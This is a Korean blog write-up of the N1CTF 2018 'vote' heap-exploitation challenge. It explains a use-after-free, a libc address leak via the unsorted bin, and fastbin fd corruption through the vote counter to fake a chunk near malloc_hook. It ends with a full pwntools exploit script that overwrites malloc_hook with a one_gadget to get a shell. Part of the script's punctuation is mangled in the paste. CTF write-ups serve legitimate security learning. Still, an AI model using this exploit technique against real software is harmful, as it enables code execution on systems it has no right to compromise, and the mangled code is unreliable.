Write-up

[N1CTF 2018] vote write up

ch4rli3kop 2018. 3. 14. 03:10
반응형

문제 분석

1. Cancel 시 free 함수가 두 분기로 나뉘어 사용되는데, 한 조건에서는 free 후 포인터까지 0으로 초기화 시켜 주지만, 다른 한 조건에서는 free 후 포인터를 초기화 하지 않아, dangling pointer가 생긴다.

2. Double free를 감지한다.

3. Vote 기능으로 heap chunk의 fd에 위치하는 값을 1씩 올릴 수 있다.

4. Vote 기능을 사용할 때마다 thread가 생성되는데, thread 생성 수의 제한이 있으므로 Vote를 사용할 수 있는 횟수의 제한이 있다.


시나리오

Memory leak

free 된 chunk를 사용할 수 있으므로, free 된 chunk의 fd, bk를 참고하여 memory leak을 수행한다.

unsorted bin이 main arena에서 할당받는 것을 이용하여, unsorted bin size를 가진 chunk 두 개를 할당 후, top chunk와 먼 쪽의 chunk를 해제한 뒤 Show 기능을 이용해서 leak을 수행한다.


[ memory leak ]


Allocate fake chunk

thread때문에 Vote 기능으로 올릴 수 있는 count 의 수는 한계가 있기 때문에, free 되었을 시에 생기는 fd에 값을 더하는 형식으로 count의 부담을 던다.

fd만 조작할 수 있기 때문에, single list로 연결되어있는 fastbin을 이용한다.


[ free된 chunk들 1 ]

[ free된 chunk들 2 ]

세 개의 적당한 fastbin size의 chunk를 할당하고, 차례로 free 한다. 단, 두 번째 chunk에, 할당할 주소를 fd의 값으로 가지고 있는 fake chunk를 만든다. 여기서는 malloc_hook을 덮을 예정이기 때문에, fake chunk의 주소를 malloc_hook - 32로 한다. size는 0x7f를 이용하기 때문에, malloc의 size는 0x50으로 한다.(할당 시 count, time으로 +16 그리고 헤더 정보 +16, 플래그까지 더하면 총 0x70됨.) 첫 번째 chunk는 처음 free된 fastbin의 fd는 0x0이기 때문에, 가림막으로 사용하기 위하여 꼭 필요하다.


[ controlled chunks 1 ]

[ controlled chunks 2 ]

Vote 기능을 이용하여, 세 번째의 chunk의 fd가 해당 chunk의 data영역에 만들어준 fake chunk를 가리키게 만들어준다. 기존 0x18c1070을 가리키던 fd가 0x18c1090을 가리키게 되었다.


Overwrite

위와 같은 작업이 모두 수행되면, 0x50 크기의 chunk를 할당 받는다면, 세 번째 -> fake chunk -> malloc_hook -32 순으로 할당받게 된다.

malloc_hook -32 를 할당 받을 때, + 32 위치인 malloc_hook 영역에 사용자가 값을 쓸 수 있으므로 이 곳을 one_gadget으로 덮어씌워, 다음 번 malloc 실행 시 one_gadget으로 rip가 튀게 만들 수 있다.


[ normal malloc_hook ]

[ overwritten malloc_hook ]

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
 
def Create(size, name):
    r.sendlineafter("Action: ""0")
    r.sendlineafter("size: ",str(size))
    r.sendlineafter("name: "str(name))
 
def Cancel(index):
    r.sendlineafter("Action: ""4")
    r.sendlineafter("index: "str(index))
 
def Show(index, fl = False):
    r.sendlineafter("Action: ""1")
    r.sendlineafter("index: "str(index))
    if fl == True:
        r.recvuntil("count: ")
        leak = int(r.recvline(),10)
        libcbase = leak - 3951480
        success("libcbase : " + hex(libcbase))
        return libcbase
 
def Vote(index):
    r.sendlineafter("Action: ""2")
    r.sendlineafter("index: "str(index))
 
 
= process(["./vote"], env={'LD_PRELOAD':'./libc-2.23.so'})
#r = process("./vote")
#r = remote("47.97.190.1",6000)
#context.log_level = 'debug'
 
raw_input(">> START")
 
### memory leak ###
 
Create(4000"A"*16#0
Create(4000"B"*16#1
 
Cancel(0)
libcbase = Show(0, True)
 
### allocate fake chunk ###
 
fake_address = libcbase + 3951341
#fake_address = 0x6020a5
#fake_address = libcbase + 3946173
 
pay1 = ""
pay1 += "\x00"*8
pay1 += p64(0x71)
pay1 += p64(fake_address)
 
Create(0x50"E"*16#2
Create(0x50, pay1)  #3
Create(0x50"F"*16#4
 
Cancel(2)
Cancel(3)
Cancel(4)
 
raw_input(">>>")
 
for i in range(0x20):
    Vote(4)
 
 
### overwrite malloc_hook ###
 
#one_gadget = libcbase + 0x45216
#one_gadget = libcbase + 0x4526a
one_gadget = libcbase + 0xf0274
#one_gadget = libcbase + 0xf1117
 
Create(0x50"Z"*16#5
Create(0x50"A"*16#6
 
raw_input("fianl**")
 
pay2 = ""
pay2 += "A"*0x3
pay2 += p64(one_gadget)
Create(0x50, pay2) #one_gadget #7
 
r.sendlineafter("Action: ""0")
r.sendlineafter("size: ""80")
 
r.interactive()
cs


와 진짜 역대급으로 고민하면서 풀어본 거 같다.

근데 앞으로는 진짜 바보같이 라이브러리를 착각해서 사용하지말자 ㅎㄷㄷ ㅠ 마음이 아프니께




반응형